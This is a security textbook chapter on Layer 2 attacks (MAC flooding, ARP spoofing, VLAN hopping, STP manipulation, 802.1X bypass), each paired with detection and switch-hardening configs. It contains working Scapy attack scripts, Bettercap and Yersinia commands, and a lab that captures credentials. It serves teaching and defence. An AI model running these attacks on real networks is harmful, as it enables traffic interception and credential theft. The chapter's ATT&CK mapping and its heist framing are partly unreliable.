Physical & Data Link Layer Attacks
MAC flooding, ARP spoofing, VLAN hopping, STP manipulation, 802.1X bypass, and Layer 2 defense strategies
Chapter 2: Physical & Data Link Layer Attacks
The $81 Million SWIFT Heist
On February 4, 2016, hackers attempted to steal $951 million from Bangladesh Bank’s account at the Federal Reserve Bank of New York. They successfully transferred $81 million before a typo (“fandation” instead of “foundation”) raised suspicions and stopped further transfers.
The attack didn’t start with sophisticated network exploitation—it began with physical access. Investigators believe the attackers gained initial access through the bank’s local network, possibly via a compromised employee or physical intrusion. From there, they moved laterally, eventually reaching the SWIFT terminals used for international transfers.
Layer 2 attacks played a crucial role. The attackers needed to intercept traffic, harvest credentials, and move through the internal network undetected. Understanding these fundamental attacks—MAC flooding, ARP spoofing, VLAN hopping—reveals how sophisticated heists often rely on basic network exploitation.
This chapter covers Layer 2 attacks that security assessors use daily and that defenders must protect against.
Attacking the Foundation
The Data Link layer provides local network communication—getting frames from one device to another on the same network segment. As we learned in Part I, this layer:
- Uses MAC addresses for local addressing
- Relies on ARP for IP-to-MAC resolution
- Depends on switches for efficient forwarding
- Uses VLANs for segmentation
- Employs STP to prevent loops
These mechanisms were designed for trusted, isolated networks. When an attacker gains access to your local network—through physical access, compromised wireless, or a breached host—they can exploit Layer 2’s trusting nature.
MITRE ATT&CK Reference
Layer 2 attacks map to several ATT&CK techniques:
- T1557 - Adversary-in-the-Middle
- T1557.002 - ARP Cache Poisoning
- T1200 - Hardware Additions
- T1599 - Network Boundary Bridging
MAC Flooding
Attack Overview
MAC flooding attacks the switch’s MAC address table (CAM table), attempting to fill it with fake entries. When full, the switch can’t learn new legitimate addresses and reverts to “fail-open” behavior—flooding traffic to all ports like a hub.
MAC Flooding Attack
MAC Flooding Attack:
═══════════════════════════════════════════════════════════════════
NORMAL OPERATION:
─────────────────
Switch learns MAC addresses, forwards intelligently:
Port 1: MAC-A ───► Traffic for MAC-A goes only to Port 1
Port 2: MAC-B ───► Traffic for MAC-B goes only to Port 2
Port 3: MAC-C ───► Traffic for MAC-C goes only to Port 3
ATTACK - CAM TABLE OVERFLOW:
────────────────────────────
Attacker sends thousands of frames with random source MACs:
┌─────────────────────────────────────────────────────────┐
│ SWITCH CAM TABLE │
│ ┌────────────────┬──────────────────────────────────┐ │
│ │ Legitimate │ Fake entries from attacker │ │
│ │ MAC-A: Port 1 │ Random-MAC-001: Port 4 │ │
│ │ MAC-B: Port 2 │ Random-MAC-002: Port 4 │ │
│ │ MAC-C: Port 3 │ Random-MAC-003: Port 4 │ │
│ │ │ ... (thousands more) │ │
│ └────────────────┴──────────────────────────────────┘ │
│ TABLE FULL! │
└─────────────────────────────────────────────────────────┘
RESULT - FLOODING MODE:
───────────────────────
Switch can't find destination MACs in table
Unknown unicast → Flood to ALL ports
Attacker now sees traffic between ALL hosts!Attack Requirements
| Requirement | Details |
|---|---|
| Access | Physical or wireless access to LAN |
| Tools | macof, Scapy, custom scripts |
| Privileges | Ability to send raw Ethernet frames |
| Target | Switch without port security |
Practical Implementation
Using macof (dsniff suite):
# Install dsniff
sudo apt-get install dsniff
# Run MAC flood (generates ~155,000 random MAC entries/min)
sudo macof -i eth0
# Targeted MAC flood (optional)
sudo macof -i eth0 -n 50000 # Send 50,000 packetsUsing Scapy (Python):
#!/usr/bin/env python3
"""
MAC Flooding demonstration - AUTHORIZED USE ONLY
"""
from scapy.all import Ether, RandMAC, sendp, conf
import argparse
def mac_flood(interface, count=10000, rate=0):
"""
Flood switch CAM table with random MAC addresses
Args:
interface: Network interface to use
count: Number of frames to send
rate: Packets per second (0 = as fast as possible)
"""
print(f"[*] MAC Flooding on {interface}")
print(f"[*] Sending {count} frames with random MACs")
print("[!] Use only in authorized lab environments!")
conf.verb = 0 # Suppress Scapy output
for i in range(count):
# Create Ethernet frame with random source and destination
packet = Ether(
src=RandMAC(), # Random source MAC
dst=RandMAC() # Random destination MAC
)
sendp(packet, iface=interface, verbose=False)
if (i + 1) % 1000 == 0:
print(f"[*] Sent {i + 1} frames...")
print(f"[+] Flood complete. Sent {count} frames.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="MAC Flood Tool")
parser.add_argument("interface", help="Network interface")
parser.add_argument("-c", "--count", type=int, default=10000,
help="Number of packets")
args = parser.parse_args()
mac_flood(args.interface, args.count)Detection
Switch-Side Detection:
# Cisco IOS - Check CAM table status
show mac address-table count
# Warning signs: Table near capacity
show mac address-table dynamic interface Gi0/1
# Warning signs: Many MACs on single port
show logging | include MAC
# Warning signs: MAC flapping, table full messagesNetwork-Side Detection:
- IDS rules for excessive ARP/MAC traffic
- SIEM correlation for MAC anomalies
- Network monitoring showing broadcast storms
Indicators of Compromise:
- Unusual number of MAC addresses per port
- MAC table full warnings in logs
- Performance degradation
- Increased broadcast traffic
Mitigation
Port Security (Primary Defense):
! Cisco IOS - Limit MACs per port
interface GigabitEthernet0/1
switchport mode access
switchport port-security
switchport port-security maximum 3
switchport port-security violation restrict
switchport port-security mac-address sticky
! Violation modes:
! - protect: Drop frames, no log
! - restrict: Drop frames, log
! - shutdown: Disable port (most secure)
! Verify configuration
show port-security interface Gi0/1Additional Defenses:
- 802.1X port authentication
- Dynamic ARP Inspection
- Private VLANs
ARP Spoofing (ARP Poisoning)
Attack Overview
ARP spoofing is one of the most powerful Layer 2 attacks. By sending false ARP replies, an attacker associates their MAC address with another device’s IP—typically the default gateway—redirecting traffic through their machine.
ARP Spoofing Attack Flow
ARP Spoofing Attack Flow:
═══════════════════════════════════════════════════════════════════
BEFORE ATTACK:
──────────────
Victim (192.168.1.100) Gateway (192.168.1.1)
│ │
│ ARP Cache: │
│ 192.168.1.1 → AA:BB:CC:DD:EE:FF │
│ (Gateway's real MAC) │
│ │
└──────────────► Traffic ─────────────────►│
Goes directly to gateway
ATTACKER SENDS FAKE ARP REPLIES:
────────────────────────────────
"192.168.1.1 is at 11:22:33:44:55:66" (Attacker's MAC)
Sent to:
├── Victim: "Gateway is at my MAC"
└── Gateway: "Victim is at my MAC"
AFTER ATTACK:
─────────────
Victim (192.168.1.100) Attacker Gateway (192.168.1.1)
│ │ │
│ ARP Cache (POISONED): │ │
│ 192.168.1.1 → │ │
│ 11:22:33:44:55:66 │ │
│ (Attacker's MAC!) │ │
│ │ │
└────────────────────────►│ │
Traffic goes │ │
to attacker! │ │
│ │
└────────────────────────►
Attacker forwards to gateway
(Man-in-the-Middle position!)Attack Requirements
| Requirement | Details |
|---|---|
| Position | Same Layer 2 broadcast domain as victim |
| Tools | arpspoof, Bettercap, Ettercap, Scapy |
| Setup | IP forwarding enabled for MITM |
| Targeting | Need victim and gateway IPs |
Practical Implementation
Method 1: Using arpspoof (dsniff):
# Step 1: Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Step 2: Poison victim (tell them we're the gateway)
# Terminal 1:
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
# Step 3: Poison gateway (tell them we're the victim)
# Terminal 2:
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100
# Now capture traffic with Wireshark or tcpdumpMethod 2: Using Bettercap (Modern):
# Start bettercap
sudo bettercap -iface eth0
# Enable ARP spoofing for specific target
» set arp.spoof.targets 192.168.1.100
» set arp.spoof.fullduplex true
» arp.spoof on
# Enable packet sniffing
» net.sniff on
# Optional: Enable SSL stripping (see Chapter 6)
» set https.proxy.sslstrip true
» https.proxy onMethod 3: Using Scapy (Custom):
#!/usr/bin/env python3
"""
ARP Spoofing Tool - AUTHORIZED USE ONLY
Demonstrates ARP cache poisoning for MITM
"""
from scapy.all import ARP, Ether, sendp, srp, get_if_hwaddr
import time
import sys
import argparse
def get_mac(ip, interface):
"""Get MAC address for an IP via ARP request"""
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip)
result = srp(arp_request, timeout=3, verbose=False, iface=interface)[0]
if result:
return result[0][1].hwsrc
return None
def spoof(target_ip, spoof_ip, target_mac, interface):
"""Send ARP reply: spoof_ip is at our MAC"""
packet = Ether(dst=target_mac) / ARP(
op=2, # ARP Reply
pdst=target_ip, # Target IP
hwdst=target_mac, # Target MAC
psrc=spoof_ip # IP we're impersonating
# hwsrc defaults to our MAC
)
sendp(packet, iface=interface, verbose=False)
def restore(target_ip, gateway_ip, target_mac, gateway_mac, interface):
"""Restore correct ARP entries"""
# Restore target
packet = Ether(dst=target_mac) / ARP(
op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=gateway_mac
)
sendp(packet, count=5, iface=interface, verbose=False)
# Restore gateway
packet = Ether(dst=gateway_mac) / ARP(
op=2, pdst=gateway_ip, hwdst=gateway_mac,
psrc=target_ip, hwsrc=target_mac
)
sendp(packet, count=5, iface=interface, verbose=False)
def main():
parser = argparse.ArgumentParser(description="ARP Spoof Tool")
parser.add_argument("target", help="Target IP to poison")
parser.add_argument("gateway", help="Gateway IP to impersonate")
parser.add_argument("-i", "--interface", default="eth0", help="Interface")
args = parser.parse_args()
print("[!] ARP Spoofing - Educational Use Only!")
print(f"[*] Target: {args.target}")
print(f"[*] Gateway: {args.gateway}")
print("[*] Ensure IP forwarding is enabled:")
print(" echo 1 > /proc/sys/net/ipv4/ip_forward")
# Get MAC addresses
target_mac = get_mac(args.target, args.interface)
gateway_mac = get_mac(args.gateway, args.interface)
if not target_mac or not gateway_mac:
print("[-] Could not resolve MAC addresses")
sys.exit(1)
print(f"[+] Target MAC: {target_mac}")
print(f"[+] Gateway MAC: {gateway_mac}")
print("[*] Press Ctrl+C to stop and restore ARP tables\n")
try:
sent = 0
while True:
spoof(args.target, args.gateway, target_mac, args.interface)
spoof(args.gateway, args.target, gateway_mac, args.interface)
sent += 2
print(f"\r[*] Packets sent: {sent}", end="")
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Restoring ARP tables...")
restore(args.target, args.gateway, target_mac, gateway_mac, args.interface)
print("[+] ARP tables restored")
if __name__ == "__main__":
main()What to Do with MITM Position
Once in MITM position, attackers can:
| Action | Tool | Purpose |
|---|---|---|
| Capture credentials | Wireshark, tcpdump | Harvest plaintext passwords |
| SSL stripping | sslstrip, Bettercap | Downgrade HTTPS to HTTP |
| DNS spoofing | Ettercap, Bettercap | Redirect to malicious sites |
| Session hijacking | Ferret/Hamster | Steal session cookies |
| Inject content | mitmproxy | Modify web pages |
| Capture hashes | Responder | NTLMv2, NetNTLM hashes |
Detection
On Endpoints:
# Monitor ARP cache
watch -n 1 'arp -a'
# Look for gateway MAC changes
arp -a | grep "gateway"
# Linux: Detect ARP changes
sudo apt install arpwatch
sudo arpwatch -i eth0On Network:
# Cisco DAI logs
show ip arp inspection log
# Look for:
# - Multiple MACs claiming same IP
# - Gratuitous ARP floods
# - MAC address instabilityIDS Rules (Snort/Suricata):
# Detect gratuitous ARP (same src/dst IP)
alert arp any any -> any any (msg:"Possible ARP Spoofing - Gratuitous ARP";
arp.opcode:2; arp.src.ip == arp.dst.ip; sid:1000001;)Mitigation
Dynamic ARP Inspection (DAI):
! Cisco IOS - Enable DAI
ip arp inspection vlan 10,20,30
! Trust uplinks (to routers/other switches)
interface GigabitEthernet0/24
ip arp inspection trust
! All access ports are untrusted by default
! DAI validates ARP against DHCP snooping database
! Verify
show ip arp inspection statisticsDHCP Snooping (Required for DAI):
! Enable DHCP snooping
ip dhcp snooping
ip dhcp snooping vlan 10,20,30
! Trust DHCP server port
interface GigabitEthernet0/24
ip dhcp snooping trust
! Limit DHCP rate on access ports
interface GigabitEthernet0/1
ip dhcp snooping limit rate 10
! Verify bindings
show ip dhcp snooping bindingStatic ARP Entries (Small networks):
# Linux - Add static entry
sudo arp -s 192.168.1.1 aa:bb:cc:dd:ee:ff
# Windows
arp -s 192.168.1.1 aa-bb-cc-dd-ee-ffAdditional Defenses:
- Private VLANs (isolate hosts)
- 802.1X port authentication
- Network segmentation
- Encrypt sensitive traffic (TLS everywhere)
VLAN Hopping
Attack Overview
VLANs segment networks logically, but misconfigurations can allow attackers to bypass this segmentation.
Switch Spoofing
Attacker’s device negotiates a trunk link using DTP (Dynamic Trunking Protocol), gaining access to all VLANs.
Switch Spoofing Attack
Switch Spoofing Attack:
═══════════════════════════════════════════════════════════════════
MISCONFIGURED SWITCH:
Port set to "dynamic auto" or "dynamic desirable"
┌─────────────┐
│ Switch │ Port Gi0/1: dynamic auto
└──────┬──────┘
│
┌──────┴──────┐
│ Attacker │ Sends DTP frames
│ Device │ "I'm a switch, let's trunk!"
└─────────────┘
RESULT:
Switch negotiates trunk link
Attacker receives traffic from ALL VLANs!
VLANs 10, 20, 30, 40...
│
▼
┌─────────────┐
│ Attacker │ Can now send/receive on any VLAN
└─────────────┘Using Yersinia:
# Install yersinia
sudo apt install yersinia
# Launch GUI
sudo yersinia -G
# Or CLI - DTP attack
sudo yersinia dtp -attack 1 -interface eth0Prevention:
! Disable DTP on ALL access ports
interface GigabitEthernet0/1
switchport mode access
switchport nonegotiate
! Explicitly configure trunk ports
interface GigabitEthernet0/24
switchport mode trunk
switchport nonegotiate
switchport trunk allowed vlan 10,20,30Double Tagging
Exploits native VLAN handling on trunk links.
Double Tagging Attack
Double Tagging Attack:
═══════════════════════════════════════════════════════════════════
REQUIREMENTS:
- Attacker on native VLAN of trunk (e.g., VLAN 1)
- Target on different VLAN (e.g., VLAN 20)
ATTACK:
Attacker crafts frame with TWO 802.1Q tags:
┌──────────┬────────────┬────────────┬──────────────────────────────┐
│Eth Header│ Outer Tag │ Inner Tag │ Payload │
│ │ VLAN 1 │ VLAN 20 │ │
│ │ (native) │ (target) │ │
└──────────┴────────────┴────────────┴──────────────────────────────┘
WHAT HAPPENS:
1. First switch (Attacker's switch):
- Receives frame on native VLAN
- Strips outer tag (native VLAN = untagged on trunk)
- Forwards frame with only inner tag (VLAN 20)
2. Second switch:
- Receives frame tagged VLAN 20
- Forwards to VLAN 20 ports
3. Target receives the packet!
LIMITATION: One-way attack (no return path)Using Scapy:
from scapy.all import Ether, Dot1Q, IP, ICMP, sendp
def double_tag(interface, target_ip, outer_vlan, inner_vlan):
"""
Send double-tagged frame for VLAN hopping
"""
packet = (
Ether(dst="ff:ff:ff:ff:ff:ff") /
Dot1Q(vlan=outer_vlan) / # Outer tag (native VLAN)
Dot1Q(vlan=inner_vlan) / # Inner tag (target VLAN)
IP(dst=target_ip) /
ICMP()
)
print(f"[*] Sending double-tagged frame")
print(f"[*] Outer VLAN: {outer_vlan} (native)")
print(f"[*] Inner VLAN: {inner_vlan} (target)")
sendp(packet, iface=interface)
# Example: Attack from VLAN 1 to VLAN 20
double_tag("eth0", "192.168.20.100", 1, 20)Prevention:
! Change native VLAN to unused VLAN
interface GigabitEthernet0/24
switchport trunk native vlan 999
! Or tag native VLAN traffic
vlan dot1q tag native
! Never put hosts on native VLAN
! Use VLAN 999 (or similar) only for trunksSTP Manipulation
Attack Overview
Spanning Tree Protocol (STP) prevents loops by electing a root bridge. By advertising a lower Bridge ID, an attacker can become root and redirect traffic.
STP Root Bridge Attack
STP Root Bridge Attack:
═══════════════════════════════════════════════════════════════════
NORMAL TOPOLOGY:
Switch A (Root)
Bridge Priority: 32768
/ \
Switch B Switch C
Pri: 32768 Pri: 32768
\ /
Switch D
(Blocked port)
ATTACK:
Attacker connects to Switch D
Advertises Bridge Priority: 0 (lowest wins)
NEW TOPOLOGY:
Switch A
(No longer root)
/ \
Switch B Switch C
| |
Attacker's ◄───────┘
Device
(NEW ROOT!)
Priority: 0
All traffic now routes through attacker!Using Yersinia:
# Become root bridge
sudo yersinia stp -attack 4 -interface eth0
# Other STP attacks:
# 1: Sending conf BPDU
# 2: Sending tcn BPDU
# 3: Denial of service
# 4: Claiming root roleMitigation
BPDU Guard (For Access Ports):
! Shutdown port if BPDU received
interface GigabitEthernet0/1
spanning-tree portfast
spanning-tree bpduguard enable
! Global default for all portfast ports
spanning-tree portfast bpduguard defaultRoot Guard (For Known Non-Root Ports):
! Prevent port from becoming root
interface GigabitEthernet0/2
spanning-tree guard rootBPDU Filter (Use Carefully):
! Stop sending/receiving BPDUs
interface GigabitEthernet0/1
spanning-tree bpdufilter enable
! WARNING: Can create loops if misused802.1X Bypass Techniques
Overview
802.1X provides strong port-based authentication, but several bypass techniques exist.
MAC Authentication Bypass (MAB)
When 802.1X is enabled with MAB fallback for devices that can’t authenticate:
802.1X with MAB Fallback
802.1X with MAB Fallback:
═══════════════════════════════════════════════════════════════════
1. Device connects to port
2. Switch sends EAP request
3. Device doesn't respond (e.g., printer)
4. Switch falls back to MAB
5. Switch checks MAC against RADIUS
6. If MAC is allowed → Access granted
ATTACK:
1. Find allowed MAC (network scan, physical access)
2. Spoof that MAC address
3. Connect to 802.1X port
4. MAB authenticates spoofed MAC
5. Attacker gains access!Countermeasure:
- Profiling (check device characteristics beyond MAC)
- Dynamic VLAN assignment
- Limit MAB to specific VLANs
Hub/Bridge Insertion
Insert a hub between authenticated device and switch:
Hub Insertion Attack
Hub Insertion Attack:
═══════════════════════════════════════════════════════════════════
NORMAL:
┌───────────────┐ ┌───────────────┐
│ Authenticated │──────────│ Switch │
│ Device │ │ (802.1X) │
└───────────────┘ └───────────────┘
Port authenticated
ATTACK:
┌───────────────┐ ┌─────┐ ┌───────────────┐
│ Authenticated │────│ HUB │────│ Switch │
│ Device │ │ │ │ (802.1X) │
└───────────────┘ │ │ └───────────────┘
│ │
┌────┴─────┴────┐
│ Attacker │
│ Device │
└───────────────┘
Hub shares the authenticated connection!
Attacker piggybacks on legitimate device's authCountermeasure:
- MACSec (802.1AE) - encrypts Layer 2
- Port security with single MAC
- Monitor for unexpected devices
Transparent Bridge Attack
More sophisticated version of hub insertion:
# Linux bridge setup
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 eth1
ifconfig br0 up
# Traffic flows through, attacker can capture/injectCountermeasure:
- MACSec encryption
- Monitor for duplicate MACs
- Physical security
Switch Security Hardening Checklist
Layer 2 Security Hardening Checklist
Layer 2 Security Hardening Checklist:
═══════════════════════════════════════════════════════════════════
ACCESS CONTROL:
□ Enable 802.1X on all user ports
□ Configure MAB only where necessary (printers, etc.)
□ Implement port security with MAC limits
□ Disable unused ports
□ Put unused ports in "black hole" VLAN
ARP SECURITY:
□ Enable DHCP snooping
□ Enable Dynamic ARP Inspection (DAI)
□ Configure trusted ports appropriately
□ Set DHCP rate limits on access ports
VLAN SECURITY:
□ Don't use VLAN 1 for production
□ Change native VLAN on trunks
□ Disable DTP (switchport nonegotiate)
□ Explicitly configure trunk/access modes
□ Prune unnecessary VLANs from trunks
STP SECURITY:
□ Enable BPDU Guard on access ports
□ Enable Root Guard on distribution ports
□ Set root bridge explicitly (don't leave to election)
□ Consider BPDU Filter where appropriate
MONITORING:
□ Enable logging to central syslog
□ Configure SNMP monitoring
□ Set up port security violation alerts
□ Monitor for MAC/ARP anomalies
PHYSICAL:
□ Secure network closets
□ Label and document all connections
□ Disable console access or secure it
□ Enable login bannersLab Exercise: Complete Layer 2 Attack Chain
Objective
Demonstrate MAC flooding → ARP spoofing → credential capture attack chain.
Environment
Lab Network
Lab Network:
├── Attacker: Kali Linux (192.168.1.50)
├── Victim: Ubuntu/Windows (192.168.1.100)
├── Gateway: Router (192.168.1.1)
└── Switch: Unprotected (for lab purposes)Attack Chain
# Step 1: Reconnaissance
sudo nmap -sn 192.168.1.0/24
# Identify victim and gateway
# Step 2: Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Step 3: Start ARP spoofing
sudo bettercap -iface eth0
bettercap » net.probe on
bettercap » set arp.spoof.targets 192.168.1.100
bettercap » arp.spoof on
# Step 4: Capture traffic
bettercap » net.sniff on
bettercap » set net.sniff.local true
# Step 5: Observe credentials (HTTP)
# Have victim browse to HTTP login page
# Credentials appear in bettercap output
# Step 6: Clean up
bettercap » arp.spoof off
# Ctrl+C to exitKey Takeaways
-
MAC flooding exploits finite CAM table size to force traffic flooding
-
ARP spoofing leverages lack of authentication for MITM attacks
-
VLAN hopping bypasses segmentation through DTP or double tagging
-
STP manipulation redirects traffic by claiming root bridge role
-
802.1X bypass techniques exist but can be mitigated with proper configuration
-
Defense requires multiple controls: Port security, DAI, DHCP snooping, BPDU Guard, 802.1X, and monitoring
Self-Assessment
-
Comprehension: Why does MAC flooding cause a switch to flood traffic?
-
Application: You’ve gained MITM position via ARP spoofing. What’s your next step to capture credentials if traffic is HTTPS?
-
What if: A network has DAI enabled but not DHCP snooping. Is it protected against ARP spoofing?
Review Questions
- How does MAC flooding cause a switch to flood traffic?
- Why can ARP spoofing enable a MITM attack?
- What are the two main VLAN hopping techniques and how do they differ?
- How can an attacker become the STP root bridge?
- What switch security features defend against each attack discussed?
- How does MACSec address limitations of 802.1X?
MITRE ATT&CK Mapping
| Attack | Technique ID | Tactic |
|---|---|---|
| MAC Flooding | T1557 | Collection, Credential Access |
| ARP Spoofing | T1557.002 | Credential Access |
| VLAN Hopping | T1599 | Defense Evasion |
| STP Manipulation | T1557 | Collection |
| 802.1X Bypass | T1599.001 | Initial Access |